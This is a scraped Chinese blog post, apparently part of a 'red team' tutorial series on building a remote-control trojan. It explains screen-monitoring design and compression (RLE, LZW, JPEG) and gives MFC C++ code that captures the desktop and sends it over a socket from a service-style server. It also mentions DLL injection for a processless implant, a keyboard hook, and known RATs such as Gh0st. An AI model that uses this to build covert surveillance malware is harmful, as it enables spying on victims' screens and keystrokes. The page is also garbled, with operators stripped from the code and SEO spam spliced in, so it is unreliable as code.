南京 网站备案,为外国企业做中文网站建设,网站外链发布,标书制作员是干什么的红队专题 招募六边形战士队员[24]屏幕监控-(1)屏幕查看与控制技术的讲解图像压缩算法图像数据转换其他 [25]---屏幕监控(2)查看屏幕的实现7.1 屏幕抓图显示7.7 完善主控端 招募六边形战士队员
一起学习 代码审计、安全开发、web攻防、逆向等。。。 私信联系
[24]屏幕监控-(1… 红队专题 招募六边形战士队员[24]屏幕监控-(1)屏幕查看与控制技术的讲解图像压缩算法图像数据转换其他 [25]---屏幕监控(2)查看屏幕的实现7.1 屏幕抓图显示7.7 完善主控端 招募六边形战士队员
一起学习 代码审计、安全开发、web攻防、逆向等。。。 私信联系
[24]屏幕监控-(1)屏幕查看与控制技术的讲解
屏幕监控的流程
服务端
while(true)
{获取图像数据();//发送图像数据();
}客户端
while()
{//接受图像数据();显示图像();
}查看屏幕的 define 宏信号
1024*768 分辨率 产生 大小 bmp 2.25M 肉眼 每秒24帧
基本流程获取图像 — 发送图像 — 显示图像
实际流程获取图像 — 压缩/转换图像 — 发送图像 — 解压/转换图像 — 显示图像
图像压缩算法
char *p; // 字符数组
int GetScreenSize();
p new GetScreenSize(); p[] {BYTE}; //unsigned char
p[100] {aaaccccbbbbbbaeccefsgsdf...};RLE算法(Run-Length Encoding) LZW算法(Lempel-Ziv-Welch Encoding) 霍夫曼压缩 RAR - LZW
RLE:{aaaccccbbbbbba} 压缩{a3c4b5a1} 解压{aaaccccbbbbba} 适用于屏幕数据中存在大量同样数据
RLE变种:{abcbcbcbcabcbca} 压缩{a1bc4a1bc2a1}
LZW:{abcbcbcbcabcbcab} 压缩字典{ab:1 cb:2 ca:3}{12223221} 解压:根据字典来解压 适用于任何情况
图像数据转换
zlib.lib JPEG类(有损压缩) 1024*768 分辨率 164kb
http://www.cctry.com/thread-50457-1-1.html //zlib库的使用 http://www.cctry.com/thread-5653-1-1.html //zlib库的例子
CapScreenJpeg JPEG算法
其他
隔行扫描算法 屏幕分块获取 屏幕数据判断 http://www.cctry.com/thread-45471-1-1.html //隔行扫描
隔行扫描 灰鸽子 Delphi DRAT Delphi Gh0st C
LZW Vipshell 守候远控
压缩库 PCShare
综合使用 汇编实现 1:150 倍
[25]—屏幕监控(2)查看屏幕的实现 多线程 阻塞socket 1000-2000台 完成端口 60000 自由管理
DLL形式 注入-无进程
屏幕传输的压缩解压方案
键盘钩子
try优化
定制化远控 界面 命令 传输结构体
void CScreen::GetScreen()
{CDC* pDeskDC CWnd::GetDesktopWindow()-GetDC(); //获取桌面画布对象CRect rc;CWnd::GetDesktopWindow()-GetClientRect(rc); //获取屏幕的客户区域int width GetSystemMetrics(SM_CXSCREEN); //获取屏幕的宽度int height GetSystemMetrics(SM_CYSCREEN); //获取屏幕的高度CDC memDC; //定义一个内存画布memDC.CreateCompatibleDC(pDeskDC); //创建一个兼容的画布CBitmap bmp;bmp.CreateCompatibleBitmap(pDeskDC,width,height); //创建兼容位图memDC.SelectObject(bmp); //选中位图对象BITMAP bitmap;bmp.GetBitmap(bitmap);panelsize 0; //记录调色板大小//需要增加颜色判断算法//bitmap.bmBitsPixel 4; //更改颜色if (bitmap.bmBitsPixel16) //判断是否为真彩色位图{panelsize pow(2.0,(double)bitmap.bmBitsPixel*sizeof(RGBQUAD));}HeadTotal (int)panelsize sizeof(BITMAPINFO);pBMPINFO (BITMAPINFO*)LocalAlloc(LPTR,sizeof(BITMAPINFO)(int)panelsize);pBMPINFO-bmiHeader.biBitCount bitmap.bmBitsPixel;//4pBMPINFO-bmiHeader.biClrImportant 0;pBMPINFO-bmiHeader.biCompression 0;pBMPINFO-bmiHeader.biHeight height;pBMPINFO-bmiHeader.biPlanes bitmap.bmPlanes;pBMPINFO-bmiHeader.biSize sizeof(BITMAPINFO);pBMPINFO-bmiHeader.biSizeImage bitmap.bmWidthBytes*bitmap.bmHeight;pBMPINFO-bmiHeader.biWidth width;pBMPINFO-bmiHeader.biXPelsPerMeter 0;pBMPINFO-bmiHeader.biYPelsPerMeter 0;memDC.BitBlt(0,0,width,height,pDeskDC,0,0,SRCCOPY);TotalSize bitmap.bmWidthBytes * bitmap.bmHeight;pData new BYTE[TotalSize];if(::GetDIBits(memDC.m_hDC,bmp,0,bitmap.bmHeight,pData,pBMPINFO,DIB_RGB_COLORS)0){printf(Return 0\n);//delete pData;pData NULL;return;}
}#include Common.h
#include MySocket.hclass CScreen
{
private:void GetScreen();void SendBmpHeaderinfo();void SendBmpData();BYTE* pData;BITMAPINFO *pBMPINFO;CMySocket m_sock;UINT TotalSize;int HeadTotal;double panelsize;
public:HANDLE m_h;void CleanData();void SendScreenData();CScreen(void);~CScreen(void);bool flag;SOCKET m_sock_screen;
};server.cpp 安装服务的操作 int _tmain(int argc, _TCHAR* argv[])
{/*SERVICE_TABLE_ENTRY DispatchTable[] {//服务程序的名称和入口点{(wchar_t*)ServiceName,ServiceMain}, //服务名//SERVICE_TABLE_ENTRY结构必须以“NULL”结束{NULL,NULL}};//连接服务控制管理器开始控制调度程序线程StartServiceCtrlDispatcherW(DispatchTable);InstallService();*/::CloseHandle(CreateThread(NULL,0,RunService,NULL,0,NULL));while(true){Sleep(10000);}return 0;
}创建线程 点击主机Runservice
//#pragma comment( linker, “/subsystem:windows /entry:wmainCRTStartup” )
有命令行能够显示
7.1 屏幕抓图显示
7.7 完善主控端
· 跟踪鼠标 · 色位调整